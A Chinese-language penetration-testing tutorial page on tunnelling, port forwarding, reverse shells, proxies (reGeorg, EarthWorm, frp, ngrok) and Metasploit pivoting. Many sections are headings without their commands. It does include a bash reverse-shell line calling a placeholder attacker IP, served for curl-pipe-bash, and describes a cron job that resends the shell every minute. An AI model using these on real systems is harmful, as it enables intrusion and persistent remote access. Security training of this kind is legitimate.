通信隧道

基本概念

端口转发和端口映射

  • 端口转发:有时也称为隧道,是将一个端口收到的流量转发到另一个端口

  • 端口映射:属于NAT的一种,是将一个端口映射到另一个端口供他人使用

代理

  • Http代理:使用Http协议,工作在应用层,主要用来代理浏览器访问网页

  • Socks代理:使用Socks协议,工作在会话层,主要用来传递数据包,分为Socks4和Socks5,Socks4只支持TCP,Socks5支持TCP和UDP

正向连接和反向连接

正向连接

  • 正向是攻击者主动连接目标机器

  • 条件:边界机能够支持外网连接且存在外网IP

  • 例子:一般拿下边界机,如WEB机器,且防火墙可以通过

反向连接

  • 反向是目标机器主动连接攻击机,由攻击机开启监听

  • 条件:攻击者监听的设备必须具备有外网访问地址

  • 例子:通过钓鱼进入内网,多数机器是内网IP,但能够上外网,只能用反向连接

环境搭建

端口转发

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法,端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为

netsh

netsh 是 windows 系统自带的一个命令行工具,这个工具可以内置中端口转发功能,而且自带命令是过免杀的

LCX

  • lcx是最为经典的端口转发工具,基于Socket套接字实现端口转发

  • 有Windows和Linux两个版本,分别为 lcx.exeportmap

正向连接

反向连接

Linux版

正向连接

反向连接

SSH

  • 内网中几乎所有Linux/UNIX服务器都支持SSH协议

  • SSH协议可以对数据传输进行压缩和加密

  • SSH端口隧道经常被攻击者利用

SSH隧道常用参数:

本地端口转发

远程端口转发

动态端口转发

修改 /etc/ssh/sshd_config

反弹shell

netcat

  • Netcat有着“网络工具中的瑞士军刀”的绰号它体积小巧,功能却又十分强大netcat,它使用TCP或UDP协议在网络连接上读取和写入数据,它被设计成一个可靠的“后端”工具,可以是直接或容易被其他程序和脚本所驱动

  • 前提条件:代理还是端口转发的前提是该台设备已经拿下基本的权限,能够上传工具和执行工具

  • 常用参数:

正向shell(Linux)

正向shell(Windows)

反向shell(Linux)

反向shell(Windows)

通过边界机反弹shell(Linux)

通过边界机反弹shell(Windows)

bash

kali 的默认 shell 为 zsh 需要将其改为 bash chsh -s /bin/bash,重启后就不会报错了

curl+bash

在 vps 里的 www 目录创建 index.php 或 index.html 内容为 bash -i >& /dev/tcp/<攻击机IP>/<port> 0>&1

定时任务

每隔一分钟,向<攻击机IP>的端口发送shell

centos系列:/var/spool/cron/<目标机用户名>

Debian/Ubuntu系列:/var/spool/cron/crontabs/<目标机用户名>

/etc/profile

socat

安装:apt-get install socat

telnet

Python脚本

PHP脚本

Perl脚本

Ruby脚本

Metasploit

反弹shell后模拟终端

OpenSSL反弹加密shell

代理

服务端

reGeorg(HTTP/HTTPS协议)

  • HTTP Service 代理将所有流量转发到内网,常见的有 reGeorg、tuna

  • reGeorg 是 reDuh 的升级版,可以将内网服务器端口的数据通过 http/https 隧道转发到本机,但是 reGeorg 的通信特征明显,会被很多杀毒软件查杀

  • 支持 ASPX、PHP、JSP等Web脚本

  • 下载: https://github.com/sensepost/reGeorg

EarthWorm

  • Earthworm 简称 EW 是一套便携式的网络穿透工具,C语言编写,具有 SOCKSv5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透

  • 该工具能够以"正向"、"反向"、"多级级联"等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。支持 Linux、Windows、MacOS、Arm-Linux 均被包括其内。

  • 命令参数:

1层连接(正向)

1层连接(反向)

2层级联(正向)

2层级联(反向)

隐秘隧道

ICMP

  • 一般两台设备要进行通信,ICMP 协议不需要开放端口

  • ICMP 消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求

  • ICMP 隧道,可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿过防火墙

  • 常见的工具:imcpsh、PingTunnel、icmptunnel 等

icmpsh

防火墙仅开放ICMP

内网穿透

frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

文档:https://gofrp.org/docs/

ngrok

  • 内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机

  • ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道

  • 登录:https://dashboard.ngrok.com/login,获取 Authtoken

Metasploit

实验拓扑图

生成木马

利用 msf 生成后门,上传到 DMZ 跳板机,然后利用 msf 做监听,反弹 shell 回来,然后在路由器添加路由节点,快速可以进行内网漫游

MSFVenom Reverse Shell Payload

Non-Meterpreter Binaries

Meterpreter Binaries

设置监听

反弹shell

设置路由

端口扫描

代理

端口转发

portfwd 是 MSF 中自带的端口转发工具

Last updated